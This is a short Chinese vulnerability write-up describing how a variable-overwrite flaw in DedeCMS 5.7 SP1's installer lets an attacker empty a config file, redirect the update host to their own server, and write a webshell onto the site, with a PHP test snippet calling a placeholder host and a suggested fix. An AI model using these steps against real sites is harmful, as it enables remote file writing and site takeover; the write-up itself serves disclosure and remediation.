DedeCMS 5.7 SP1 /install/index.php 任意远程文件写入
漏洞点:
变量覆盖
1 | foreach(Array('_GET','_POST','_COOKIE') as $_request) |
利用
1 | require_once('../data/admin/config_update.php'); |
通过传参覆盖
$s_lang
变量和$INSTALL_DEMO_NAME
变量导致
$rmurl
变量覆盖为file_get_contents函数获取不到的资源
$INSTALL_DEMO_NAME
变量覆盖为../data/admin/config_update.php
从而导致
../data/admin/config_update.php
文件为空文件,也就是删去了文件中的$UPDATEHOST
变量,导致可以通过变量覆盖漏洞重写$UPDATEHOST
为自己的vps服务器1
2
3
4
5
6
7
8
9
10
11
12
13
14
$content=file_get_contents("http://xxx.xxx.xxx.xxx/l.txt");
var_dump($content);//The function returns the read data 或者在失败时返回 FALSE.这里构造一个不存在的资源,所以返回false
$fp=fopen("qqq.php","w");
var_dump(fwrite($fp,$content));//fwrite返回写入的字符数,出错时返回flase,这里返回int 0
if(fwrite($fp,$content))
{
echo "success";
}
else
{
echo "fuck";
}覆盖
$UPDATEHOST
为自己的vps,在vps上放上shell文件dedecms/demodata.a.txt
,覆盖$INSTALL_DEMO_NAME
为要写入的文件名因为
fopen
函数遇到不存在的函数名,会自动创建文件名。
修复方案:将变量覆盖的代码移至文件最前面;或者通过define定义常量,是关键点无法被覆盖。